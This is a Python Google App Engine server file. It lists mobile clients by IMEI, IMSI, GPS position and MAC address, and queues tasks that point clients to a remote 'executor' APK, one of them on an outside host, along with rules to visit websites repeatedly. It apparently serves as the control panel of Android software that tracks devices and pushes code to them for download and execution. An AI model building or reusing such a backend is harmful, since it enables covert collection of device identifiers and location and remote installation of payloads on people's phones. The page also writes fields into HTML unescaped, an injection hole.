#-*- coding:UTF-8 -*-
from google.appengine.ext import webapp

from vo.UserInfo import UserInfo
from vo.TaskInfo import TaskInfo
import datetime

'''
登陆接口
用于client每次登陆
'''
class UserInfoList(webapp.RequestHandler):
    
    def get(self):
        uiList = UserInfo.gql('order by createDate desc')
        
        self.response.out.write(unicode('''
            <html>
            <head>
                <meta charset="utf-8" />
                <title>Untitled</title>
            </head>
            <body>
            <table border=1>
                <tr>
                    <td>ID</td>
                    <td>IMEI</td>
                    <td>IMSI</td>
                    <td>最后GPS位置-经度</td>
                    <td>最后GPS位置-纬度</td>
                    <td>设备名称</td>
                    <td>MAC地址</td>
                    <td>登陆次数</td>
                    <td>最后登陆时间</td>
                    <td>软件名称</td>
                    <td>软件包名</td>
                </tr>
            ''','UTF-8'))
        
        for ui in uiList:
            self.response.out.write('''
                <tr>
                    <td>%s</td>
                    <td>%s</td>
                    <td>%s</td>
                    <td>%s</td>
                    <td>%s</td>
                    <td>%s</td>
                    <td>%s</td>
                    <td>%s</td>
                    <td>%s</td>
                    <td>%s</td>
                    <td>%s</td>
                </tr>'''%(ui.key().id()
                          ,ui.imei
                          ,ui.imsi
                          ,ui.latitude
                          ,ui.longitude
                          ,ui.deviceName
                          ,ui.macAddress
                          ,ui.loginCount
                          ,ui.createDate+ datetime.timedelta(hours=+8)
                          ,ui.appName
                          ,ui.appPKG))
        
        self.response.out.write('''
            </table>
            </body>
            </html>
            ''')

'''
添加任务
'''
class AddTask(webapp.RequestHandler):
    
    def get(self):
        taskInfo = TaskInfo()
        taskInfo.executorKey = 'ExecutorTestA.apk'
        taskInfo.executorUrl = 'http://192.168.1.180:8080/executor/ExecutorTestA.apk'#'http://mob.groupsgetter.com/a1.apk'
        taskInfo.rule = '[{"times":1,"url":"http://www.baidu.com"},{"times":1,"url":"http://www.sina.com"}]'
        taskInfo.createDate = datetime.datetime.utcnow()
        
        taskInfo.put()

#class Sign(webapp.RequestHandler):
#    def post(self):
#        msg = UserInfo()
#        msg.content = self.request.get('content')
#        
#        msg.put()
#        
#        self.redirect('/')

